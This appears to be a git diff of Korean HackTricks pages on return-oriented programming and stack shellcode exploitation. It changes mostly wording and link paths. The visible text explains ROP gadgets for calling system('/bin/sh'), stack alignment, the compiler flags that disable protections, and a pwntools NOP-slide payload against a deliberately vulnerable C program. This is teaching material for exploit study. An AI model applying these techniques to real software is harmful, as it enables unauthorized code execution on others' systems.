주목하세요: 1. 정렬 목적을 위한 `ret` 명령(선택 사항) -2. `system` 함수의 주소 (ASLR 비활성화 및 알려진 libc를 가정, 자세한 정보는 [**Ret2lib**](ret2lib/) 참조) +2. `system` 함수의 주소 (ASLR 비활성화되고 알려진 libc를 가정, 자세한 정보는 [**Ret2lib**](ret2lib/) 참조) 3. `system()`에서의 반환 주소를 위한 자리 표시자 4. `"/bin/sh"` 문자열 주소 (system 함수의 매개변수) ```python @@ -85,15 +85,15 @@ p.interactive() ### **x64 (64-bit) 호출 규약** -* Unix 계열 시스템에서는 **System V AMD64 ABI** 호출 규약을 사용하며, **첫 번째로 전달되는 여섯 개의 정수 또는 포인터 인수는 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 그리고 `R9` 레지스터에 전달**됩니다. 추가 인수는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다. +* Unix 계열 시스템에서는 **System V AMD64 ABI** 호출 규약을 사용하며, **첫 번째로 전달되는 여섯 개의 정수 또는 포인터 인수는 레지스터 `RDI`, `RSI`, `RDX`, `RCX`, `R8`, 그리고 `R9`에 전달**됩니다. 추가 인수는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다. * **Windows x64** 호출 규약은 첫 네 개의 정수 또는 포인터 인수에 대해 `RCX`, `RDX`, `R8`, 그리고 `R9`를 사용하며, 추가 인수는 스택에 전달됩니다. 반환 값은 `RAX`에 배치됩니다. * **레지스터**: 64비트 레지스터에는 `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, 그리고 `R8`부터 `R15`까지가 포함됩니다. #### **가젯 찾기** -우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯( **system()** 함수에 **"/bin/sh"** 문자열을 전달하기 위함)를 찾고 **system()** 함수를 호출할 것입니다. 다음과 같은 가젯들을 식별했다고 가정해 봅시다: +우리의 목적을 위해, **RDI** 레지스터를 설정할 수 있는 가젯들에 초점을 맞추어 보겠습니다 (**system()**에 **"/bin/sh"** 문자열을 인수로 전달하기 위함) 그리고 **system()** 함수를 호출합니다. 다음과 같은 가젯들을 식별했다고 가정해봅시다: -* **pop rdi; ret**: 스택의 최상위 값을 **RDI**로 팝하고 반환합니다. **system()**에 대한 인수를 설정하는 데 필수적입니다. +* **pop rdi; ret**: 스택의 최상위 값을 **RDI**로 팝하고 반환합니다. **system()**에 대한 인수 설정에 필수적입니다. * **ret**: 간단한 반환으로, 특정 시나리오에서 스택 정렬에 유용합니다. 그리고 **system()** 함수의 주소를 알고 있다고 가정합니다. @@ -137,28 +137,28 @@ p.interactive() ``` ### 스택 정렬 -**x86-64 ABI**는 **call 명령어**가 실행될 때 **스택이 16바이트 정렬**되도록 보장합니다. **LIBC**는 성능을 최적화하기 위해 **SSE 명령어** (예: **movaps**)를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면 (즉, **RSP**가 16의 배수가 아닌 경우), **system**과 같은 함수 호출이 **ROP chain**에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다. +**x86-64 ABI**는 **call 명령어**가 실행될 때 **스택이 16바이트 정렬**되어 있음을 보장합니다. **LIBC**는 성능을 최적화하기 위해 **SSE 명령어** (예: **movaps**)를 사용하는데, 이는 정렬이 필요합니다. 스택이 제대로 정렬되지 않으면 (즉, **RSP**가 16의 배수가 아닌 경우) **system**과 같은 함수 호출이 **ROP chain**에서 실패할 수 있습니다. 이를 해결하기 위해 ROP chain에서 **system**을 호출하기 전에 **ret gadget**을 추가하면 됩니다. ## x86 대 x64 주요 차이점 {% hint style="success" %} -x64는 처음 몇 인자에 대해 레지스터를 사용하기 때문에 간단한 함수 호출에 대해 x86보다 더 적은 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수의 증가와 주소 공간의 확대로 인해 더 복잡할 수 있습니다. **x64** 아키텍처의 증가한 레지스터 수와 큰 주소 공간은 특히 Return-Oriented Programming (ROP)의 맥락에서 exploit 개발에 대한 기회와 도전을 제공합니다. +x64는 처음 몇 인자에 대해 레지스터를 사용하므로 간단한 함수 호출에 대해 x86보다 더 적은 가젯이 필요하지만, 올바른 가젯을 찾고 연결하는 것은 레지스터 수의 증가와 주소 공간의 확대로 인해 더 복잡할 수 있습니다. **x64** 아키텍처의 증가한 레지스터 수와 큰 주소 공간은 특히 Return-Oriented Programming (ROP)의 맥락에서 exploit 개발에 대한 기회와 도전을 제공합니다. {% endhint %} ## 보호 기능 -* [**ASLR**](../common-binary-protections/aslr.md) -* [**스택 카나리**](../common-binary-protections/stack-canaries.md) +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) +* [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/) -## 다른 예시 +## 다른 예제 및 참조 * [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) ## ROP 기반 기술 -ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 주목하세요. ROP를 기반으로 많은 Ret2XXX 기술이 개발되었습니다: +ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 유의하십시오. ROP를 기반으로 한 많은 Ret2XXX 기술이 개발되었습니다: -* **Ret2lib**: ROP를 사용하여 로드된 라이브러리에서 임의의 매개변수로 임의의 함수를 호출합니다 (일반적으로 `system('/bin/sh')`와 같은 것). +* **Ret2lib**: 로드된 라이브러리에서 임의의 매개변수로 임의의 함수를 호출하기 위해 ROP를 사용합니다 (일반적으로 `system('/bin/sh')`와 같은 것). {% content-ref url="ret2lib/" %} [ret2lib](ret2lib/) @@ -170,7 +170,7 @@ ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 주목하세 [rop-syscall-execv.md](rop-syscall-execv.md) {% endcontent-ref %} -* **EBP2Ret 및 EBP Chaining**: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib과 유사하지만 이 경우 흐름은 주로 EBP 주소로 제어됩니다 (물론 EIP를 제어하는 것도 필요합니다). +* **EBP2Ret 및 EBP Chaining**: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib와 유사하지만 이 경우 흐름은 주로 EBP 주소로 제어됩니다 (물론 EIP를 제어하는 것도 필요합니다). {% content-ref url="ebp2ret-ebp-chaining.md" %} [ebp2ret-ebp-chaining.md](ebp2ret-ebp-chaining.md) diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md index ad8913fb4..798a5d3c9 100644 --- a/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md @@ -6,17 +6,17 @@ HackTricks를 지원하는 다른 방법: -* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! +* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 -* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. -* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. +* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요. ## 기본 정보 -**스택 쉘코드**는 이진 해킹에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 쉘코드를 작성한 다음 **명령어 포인터 (IP)** 또는 **확장된 명령어 포인터 (EIP)**를 이 쉘코드의 위치를 가리키도록 수정하여 실행시키는 것입니다. 이는 무단 액세스를 얻거나 대상 시스템에서 임의의 명령을 실행하는 데 사용되는 고전적인 방법입니다. 여기에는 간단한 C 예제와 **pwntools**를 사용하여 해당 취약점을 이용하는 방법을 설명합니다. +**스택 쉘코드**는 이진 해킹에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 쉘코드를 작성한 다음 **명령어 포인터 (IP)** 또는 **확장된 명령어 포인터 (EIP)**를 이 쉘코드의 위치를 가리키도록 수정하여 실행시키는 기법입니다. 이는 무단 액세스를 얻거나 대상 시스템에서 임의의 명령을 실행하는 데 사용되는 고전적인 방법입니다. 여기에는 간단한 C 예제와 **pwntools**를 사용하여 해당 취약점을 이용하는 방법이 포함되어 있습니다. ### C 예제: 취약한 프로그램 @@ -45,8 +45,8 @@ return 0; gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` * `-fno-stack-protector`: 스택 보호 기능을 비활성화합니다. -* `-z execstack`: 스택을 실행 가능하게 만들어줍니다. 이는 스택에 저장된 셸코드를 실행하는 데 필요합니다. -* `-no-pie`: 위치 독립 실행 파일을 비활성화하여 셸코드가 위치할 메모리 주소를 예측하기 쉽게 합니다. +* `-z execstack`: 스택을 실행 가능하게 만들어줍니다. 이는 스택에 저장된 쉘코드를 실행하는 데 필요합니다. +* `-no-pie`: 위치 독립 실행 파일을 비활성화하여 쉘코드가 위치할 메모리 주소를 예측하기 쉽게 합니다. * `-m32`: 프로그램을 32비트 실행 파일로 컴파일합니다. 종종 exploit 개발의 간편함을 위해 사용됩니다. ### Pwntools를 사용한 Python Exploit @@ -80,13 +80,13 @@ p.interactive() ``` 이 스크립트는 **NOP 슬라이드**, **쉘코드**, 그리고 **EIP**를 NOP 슬라이드를 가리키는 주소로 덮어쓰면서 쉘코드가 실행되도록 페이로드를 구성합니다. -**NOP 슬라이드** (`asm('nop')`)는 실행이 정확한 주소에 관계없이 쉘코드로 "슬라이드"될 가능성을 높이기 위해 사용됩니다. `p32()` 인자를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하여 NOP 슬라이드에 착지할 수 있습니다. +**NOP 슬라이드** (`asm('nop')`)는 실행이 정확한 주소에 관계없이 쉘코드로 "슬라이딩"될 가능성을 높이기 위해 사용됩니다. `p32()` 인자를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하세요. ## 보호 기능 -* [**ASLR**](../common-binary-protections/aslr.md)은 실행마다 신뢰할 수 있는 주소를 위해 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 동일하지 않으며, 이를 알아내기 위해 어딘가에서 유출이 필요합니다. -* [**스택 카나리**](../common-binary-protections/stack-canaries.md)도 비활성화되어야 합니다. 그렇지 않으면 침해된 EIP 반환 주소가 결코 따라가지 않을 것입니다. -* [**NX**](../common-binary-protections/no-exec-nx.md) **스택** 보호는 스택 내부의 쉘코드 실행을 방지할 것입니다. 왜냐하면 해당 영역은 실행할 수 없기 때문입니다. +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)은 실행마다 신뢰할 수 있는 주소를 위해 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 동일하지 않을 수 있고 이길 함수가 로드된 위치를 알아내기 위해 일부 정보 누출이 필요할 수 있습니다. +* [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 합니다. 그렇지 않으면 침해된 EIP 반환 주소가 결코 따라가지 않을 수 있습니다. +* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내부의 쉘코드 실행을 방지할 수 있습니다. 해당 영역은 실행할 수 없기 때문입니다. ## 다른 예시